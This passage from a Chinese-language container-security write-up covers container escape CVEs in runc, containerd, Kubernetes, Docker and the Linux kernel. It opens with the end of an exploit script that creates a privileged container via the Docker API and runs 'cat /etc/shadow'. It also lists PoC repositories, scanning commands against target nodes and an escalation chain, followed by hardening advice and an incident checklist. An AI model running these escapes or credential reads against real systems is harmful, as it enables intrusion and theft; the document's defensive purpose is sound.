cmd = sys.argv[2] if len(sys.argv) > 2 else "cat /etc/shadow"
ok, conn = check_docker_api(target)
if ok and conn:
create_privileged_container(conn, cmd)
0x07 公开 PoC 收集情况总表
7.1 PoC 收集情况
| CVE | GitHub PoC | Exploit-DB | Nuclei | CISA KEV | 在野利用 |
|---|
| CVE-2024-21626 | ✅ 多个仓库 | ✅ | ✅ | ✅ | ✅ |
| CVE-2022-0185 | ✅ Crusaders-of-Rust | ✅ | ✅ | ✅ | ✅ |
| CVE-2023-5528 | ✅ verf1sh | ✅ | ✅ | ✅ | ✅ Exceptional Risk |
| CVE-2024-3177 | ✅ | ❌ | ✅ | ❌ | ❌ |
| CVE-2023-28810 | ✅ | ❌ | ✅ | ❌ | ❌ |
| CVE-2023-28811 | ✅ | ❌ | ✅ | ❌ | ❌ |
| CVE-2024-41110 | ✅ | ❌ | ✅ | ❌ | ✅ UK NCSC 披露 |
7.2 关键 PoC 仓库
- runc 容器逃逸:
https://github.com/SamuelDePretis/CVE-2024-21626 — fd 泄漏检测与利用 - Linux Kernel 堆溢出:
https://github.com/Crusaders-of-Rust/CVE-2022-0185 — 完整内核提权 PoC - kubelet 卷挂载注入:
https://github.com/verf1sh/CVE-2023-5528 — 恶意 Pod YAML 与自动化利用 - containerd 漏洞合集:
https://github.com/advisories/GHSA-7ww4-4wqc-m76c — containerd 安全公告
7.3 批量验证思路
# runc 版本检测
runc --version 2>/dev/null | grep "1.1\." | grep -v "1.1.12"
# Kubernetes 版本检测
kubectl version --short 2>/dev/null
nuclei -u https://target-node:10250 -tags kubernetes -allow-local-file-access
# containerd 版本检测
ctr version 2>/dev/null
curl -sk http://localhost:2375/v1.43/info | python3 -m json.tool
# Docker Engine 版本检测
docker version --format '{{.Server.Version}}' 2>/dev/null
curl -sk http://localhost:2375/v1.43/version | python3 -m json.tool
# 综合 Nuclei 扫描
nuclei -u https://target:10250 -tags cve2023,cve2024,kubernetes,docker,containerd,runc
0x08 共性攻击模式分析
8.1 文件描述符泄漏是容器逃逸的核心路径
本专题中 7 个漏洞有 4 个(CVE-2024-21626、CVE-2024-3177、CVE-2022-0185、CVE-2023-28811)直接利用文件描述符泄漏或路径遍历实现容器逃逸。根本原因在于 Go 运行时和 Linux 内核对 O_CLOEXEC 标志的处理不一致——Go 的 exec.Cmd 默认不设置 CloseOnExec,而 Linux 内核在 namespace 切换过程中保留了这些泄漏的 fd。
8.2 路径遍历是容器存储层的通用弱点
CVE-2023-5528(volumeHandle 路径遍历)和 CVE-2023-28811(符号链接跟随)都利用了容器存储层对路径参数的校验不足。容器运行时在处理镜像层、卷挂载、snapshot 等路径时,如果未对 ../ 和符号链接做规范化处理,攻击者就可以将容器内的操作重定向到宿主机文件系统。
8.3 解析差异是授权绕过的经典手法
CVE-2024-41110 展示了安全中间件(AuthZ 插件)与后端引擎(Docker Engine)之间的 JSON 解析差异如何被武器化。这种"解析差异"模式在 Web 安全领域由来已久(如 HTTP 请求走私),在容器生态中同样适用。
8.4 内核漏洞是容器隔离的终极威胁
CVE-2022-0185 表明,即使容器的用户空间隔离机制完全正确,内核级别的漏洞仍然可以彻底打破所有容器隔离边界。容器共享宿主机内核,这意味着任何内核漏洞都是所有容器的潜在威胁。
8.5 攻击链的递进关系
在实际攻击场景中,这些漏洞往往形成递进的攻击链:
初始突破(CVE-2024-41110 AuthZ 绕过 / CVE-2023-5528 恶意 Pod)
↓
容器内立足(获取容器 shell)
↓
信息收集(枚举 fd、版本、权限)
↓
提权逃逸(CVE-2024-21626 fd 泄漏 / CVE-2022-0185 内核提权)
↓
宿主机控制(读取凭据、写入 SSH 公钥、安装后门)
↓
集群横向移动(利用窃取的 kubelet 凭据攻击其他节点)
0x09 防守建议
9.1 紧急措施
立即升级核心组件:
- runc → 1.1.12+
- containerd → 1.6.20 / 1.7.1+
- Kubernetes → 1.29.4 / 1.28.10 / 1.27.14+
- Docker Engine → 27.1.1+
- Linux Kernel → 5.16-rc8+(长期支持版本选择 5.15.x LTS 或 6.1.x LTS)
限制容器特权:
- 禁止使用
--privileged 标志 - 移除不必要的 Linux Capabilities(尤其是
CAP_SYS_ADMIN) - 启用
seccomp 和 AppArmor/SELinux 配置文件 - 设置
readOnlyRootFilesystem: true
网络隔离:
- kubelet API(10250 端口)不应暴露到集群外部
- Docker API(2375/2376 端口)必须限制访问源
- 使用 NetworkPolicy 限制 Pod 间通信
9.2 应急排查清单
# 1. 检查 runc 版本
runc --version
# 2. 检查 containerd 版本
ctr version
# 3. 检查 Docker Engine 版本
docker version
# 4. 检查 Kubernetes 版本
kubectl version
# 5. 检查内核版本
uname -r
# 6. 排查异常容器——检查是否存在挂载宿主机目录的容器
docker ps --format '{{.Names}} {{.Image}}' | while read name image; do
mounts=$(docker inspect "$name" --format '{{range .Mounts}}{{.Source}}->{{.Destination}} {{end}}' 2>/dev/null)
if echo "$mounts" | grep -q "/:/"; then
echo "[ALERT] 容器 $name 挂载了宿主机根目录: $mounts"
fi
done
# 7. 排查异常 Pod——检查是否存在挂载宿主机路径的 Pod
kubectl get pods -A -o json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for pod in data['items']:
name = pod['metadata']['name']
ns = pod['metadata']['namespace']
for vol in pod['spec'].get('volumes', []):
if 'hostPath' in vol:
path = vol['hostPath'].get('path', '')
print(f'[ALERT] Pod {ns}/{name} 挂载宿主机路径: {path}')
if 'csi' in vol:
handle = vol['csi'].get('volumeHandle', '')
if '..' in handle:
print(f'[ALERT] Pod {ns}/{name} CSI volumeHandle 含路径遍历: {handle}')
"
# 8. 检查是否存在异常的特权容器
kubectl get pods -A -o json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for pod in data['items']:
name = pod['metadata']['name']
ns = pod['metadata']['namespace']
for c in pod['spec'].get('containers', []):
sc = c.get('securityContext', {})
if sc.get('privileged') or 'SYS_ADMIN' in str(sc.get('capabilities', {}).get('add', [])):
print(f'[ALERT] Pod {ns}/{name} 容器 {c[\"name\"]} 具有特权或 SYS_ADMIN')
"
# 9. 检查宿主机 SSH authorized_keys 是否被篡改
cat /root/.ssh/authorized_keys 2>/dev/null
cat /home/*/.ssh/authorized_keys 2>/dev/null
# 10. 检查 crontab 是否被植入后门
crontab -l 2>/dev/null
ls -la /etc/cron.d/ 2>/dev/null
cat /etc/crontab 2>/dev/null
9.3 中期加固
- 启用 Pod Security Standards:使用 Kubernetes 内置的 Pod Security Admission 控制器,在 namespace 级别强制
restricted 安全策略 - 运行时安全监控:部署 Falco 或 Tetragon 等运行时安全工具,监控容器内的异常行为(如访问
/proc/self/fd/、挂载操作、路径遍历) - 镜像安全扫描:在 CI/CD 流水线中集成 Trivy 或 Grype,扫描镜像中的已知漏洞和恶意符号链接
- 最小权限 ServiceAccount:禁止 Pod 使用具有集群管理权限的 ServiceAccount Token
- 定期轮换凭据:定期轮换 kubelet 证书、ServiceAccount Token、Docker Registry 凭据
0x0A 参考资料